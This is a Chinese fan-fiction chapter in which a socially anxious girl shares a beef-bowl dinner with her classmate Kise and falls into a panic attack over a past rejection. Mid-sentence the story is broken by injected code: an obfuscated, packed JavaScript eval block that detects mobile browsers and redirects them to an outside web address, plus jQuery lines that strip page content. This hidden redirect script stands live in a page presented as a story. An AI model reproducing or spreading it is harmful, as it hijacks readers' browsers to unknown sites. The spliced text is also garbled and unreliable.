“突然头脑发热做了这种事情,连累黄濑同学和我一起被当成怪人,真的对不起。说了奇怪的话冒犯到你,也很对不起。没有问过你的意见就这么拉着你跑下车,这个也对不起。”
“刚才不是已经说过了吗,不用和我道歉啦。”
“啊,对……?”我下意识又想为这件我没能遵循的事情道歉,却在对上金发少年脸上显而易见的无奈神情时顿住。
“……对了,你觉得寿司和拉面哪个更好呢?”
“转折也太生硬了吧!”
春末夏初,夜幕降临的时间会不断往后推迟。
走出车站时天空仍旧明亮,绚丽的晚霞和厚重的积雨云在天际散开,即将开始燃烧的太阳越过他的肩头,在我眼中留下过于鲜艳的色彩。
他调整了一下书包肩带的位置,以一种轻松的语气问我:“想好晚上要吃什么了吗?寿司?还是说拉面?”
“……便利店的打折便当?”
“欸?是不是有点敷衍?”
不知道该作何反应的我落后半步距离,不解地看向他。
而他露出一个明快的笑容,像是从某种束缚中久违地解放出来,连尾音也是愉快上扬的:“女孩子为了我挺身而出,至少要请她吃一顿饭作为答谢吧!”
我有一瞬的失语。
街边的路灯在整点准时亮起,那点光亮映照在视网膜上,与夕阳融化在一起,于是眼前的事物也同样染上朦胧的暖色。
我顿了好一会,才重新找回自己的声音,将视线角落的那块招牌念了出来:“……牛肉盖饭?”
“这个就行吗?我请客哦。”
“那我要大份的……!”
“没问题!”
*
五点左右出没于松屋的大部分是年轻气盛的学生,冒失、冲动、情绪化。但在用餐的场合,大家的行为多少会收敛一些。
不会大吵大闹,不会随意搭讪。
虽然明里暗里的窥探仍旧存在,尤其在同行之人是个大号聚光灯的情况下。
我低垂着头攥紧肩上的书包带,越走越慢,越走越慢,试图在我与他之间划出一条“我们不认识”的社交分界线。
虽然这只是掩耳盗铃。
直到落座在最角落的位置时,那些声音的存在感才逐渐变得薄弱起来,我如释重负地松开怀里被抓得快要变形的包。
好累,和活着的人类待在一个空间好可怕,快要精神衰弱了,好想回家。
坐在对面的黄濑同学已经拿起菜单开始点餐,而社交能量超支的我疲惫地歪头靠在墙壁上,划开手机屏幕。
收到了来自姐姐和爸爸的定番慰问——身体怎么样?有没有好好吃饭?在学校里还顺利吗?有和同学好好相处吗?诸如此类的关心。
我敲击键盘依次回复完,想了想又在末尾添上一个表示开心的表情。
关闭手机的瞬间,骤然漆黑的屏幕上映出我的脸。
室内明亮的白色灯光从头顶打下,仰视角度脸被放大的我身穿浅色的校服,在黑色长发深邃的阴影中愈发扭曲,看起来简直就像都市传闻里的八尺大人。
……真的好阴沉。
还有那副仿佛大家都欠我钱的臭脸。
“伊织有什么想吃的吗?”黄濑同学的声音从对侧传来。
我抖了一下,慌张地把手机屏幕盖进掌心里。
“都、都可以!”
这句话脱口而出的瞬间,我又意识到这种模棱两可的回答只会让人感到困扰,于是立刻补充了一句:“和黄濑同学一样的就好。”
“有特别喜欢的东西吗?”
“没有。”
“那讨厌的呢?或者忌口?”
“也没有。”
他盯着我,试图从我的表情中找出一丝勉强的迹象,但最后只是平淡地笑了一下。
“那就两份牛烧肉定食。”
“好的。”
他将菜单递给店员,而我陷入沉思。
刚刚……他好像叫我“伊织”诶。
不是讨厌。
我喜欢自己的名字,也喜欢被人叫名字。但在我的认知中,这是关系亲密的人才会做的事情。
所以,我可以把它当成是主动亲近的信号吗?
嗯……也不一定。
性格开朗的人完全可以做到对初次见面的人直呼其名,在电车上遇到的女孩子也是直接喊黄濑同学“凉太君”。
还是不要想太多了。
我捧着水杯默默喝了一口茶。
我没有能用名字称呼的朋友,当然也不会有关系好到可以一起吃饭的朋友。
大概是看出我的坐立不安,黄濑同学没有强硬地拉着我说些需要回应的话题,我只用在一旁安静地当个听众。
学校的事情、篮球部的同伴、甚至还有国中时期原本志同道合的队友最后分道扬镳的故事。
这些不为我所知的碎片逐渐拼凑出一个完整的他。
仔细一想,我根本不了解黄濑同学。
即便以“同桌”或是“友人”的纽带将他与我牵强地连接起来,我依然能察觉到那股被他隐藏得很好的距离感。
想要问些什么又觉得太突兀,我动了动手指,却也做不出更进一步的动作。
“想要了解更多关于你的事情”……这种话,没办法说出口。
我是个胆小软弱的人。
甘愿一生都停留在原地,安逸地待在不会有任何改变的舒适区内。
不抱有期待,因而不会受到伤害。
桌对面的少年垂下了眼眸,安静地看向玻璃窗后路过的人群。摘掉那副精致的笑容后,他的目光和神情都显得无比平静。
甚至称得上是疏离。
那个瞬间,我陡然回想起在电车上,他不经意间流露出的冷淡神情。
开朗、热情、随和。
因为他总是笑着的,所以我理所当然给他贴上了这样的标签。
可若是将轻快的要素尽数剥离出去,那些最终被遗留下来的、缺乏温度和人情味的部分,同样也是属于他的情感。
并不是无时无刻不在散发温暖的太阳。
而是用外向的躯壳包裹自己的、外热内冷的“常识人”。
……是我最害怕的类型。
将话语藏于深处,不会轻易表露厌恶,但也不会轻易交付真心。
无法判明黄濑同学的真实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160063|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想法,得出这个结论后,我陡然产生了退缩的念头。
西村同学说过,我是那种满脸写着不幸,看起来特别可怜的人。
将这点作为前提后,过往发生的所有事情似乎都变得有迹可循。
如果他只是因为同情才愿意靠近我……
那样的话,我——
头顶的照明灯发出过于明亮的光,令我感到头晕目眩。我垂下眼帘,手指开始不受控制地颤抖。
脑海中属于过去的画面变得清晰起来——三年前的夏日,因为热岛效应而被太阳炙烤出热气的柏油路,死于水洼中的蜻蜓,草丛中枯萎的铁线莲。
“宫城,我有事情想和你说。”公交车站牌下,曾对我伸出过援手的男生露出为难的表情,踌躇着开口,“可以拜托你不要再和我搭话了吗?”
令人厌烦的蝉鸣声中,擅长掩藏真实想法的他在无数次忍让后耐心耗尽,最终对我吐露出心声。
“我并不想参与进你和岛田同学之间的事情里……本来也只是觉得可怜才忍不住帮了一把,但这样下去就算是我也会感到困扰的。”
他说,他不想和我一样成为被孤立的人。
将出自同情的善举当做亲近的信号,我像笨蛋一样滑稽地做出自以为是的示好,最后理所当然地成为了对方的负担。
因为不是对方的错,所以我没有理由去怨恨。
——被同情者处于弱势地位,我和他从一开始就不是对等的。
从食物上升腾起来的热气氤氲了视线,控制嗅觉的神经却短暂失灵,遮蔽了本应能体会到的气味。
掩藏在沙子底下的记忆断片随着情绪的翻涌重新浮上水面,躯体和感官因此变得僵硬。我无法做出任何反应,只能徒劳地捏紧手中的筷子。
“怎么了?不合胃口吗?还是哪里不舒服?”
从对侧传来的声音像隔着玻璃一样朦胧又遥远。
是客套?还是真心话?
是关心?还是对破坏气氛的不满?
我不明白。
无法确定。
奇怪……到底是哪一边?
好可怕。
心脏像要爆炸一样剧烈颤动,随后是眩晕感、过呼吸。筷子从已经麻木的手指间滑落,在餐盘上滚出半圈距离,发出清脆的响声。
骤然回神的我眨了一下眼,接触到对方的视线,却惊恐地发现自己在那个瞬间失去了对于表情的判断能力。
……他在生气吗?还是说在笑?
耳边响起高频的尖锐噪音。
最终少年的五官变得扭曲模糊起来。
呜,好想吐。
我垂下头,扶着桌子胆怯地站起身,用滞涩的嗓音艰难开口。
“抱歉……我去一下洗手间。”
最终逃走了。
回过神来时,我正站在洗漱台前,扶着坚硬冰冷的陶瓷台面。
明明即将步入夏季,我却浑身发抖。被水打湿的额发末梢湿漉漉地贴在颊边,冷白色灯光的照射下,我在镜中看见自己狼狈不堪的脸。
是毫无血色的苍白。
许久之后,我靠着墙壁缓慢地蹲下,痛苦地想。
怎么办,又搞砸了。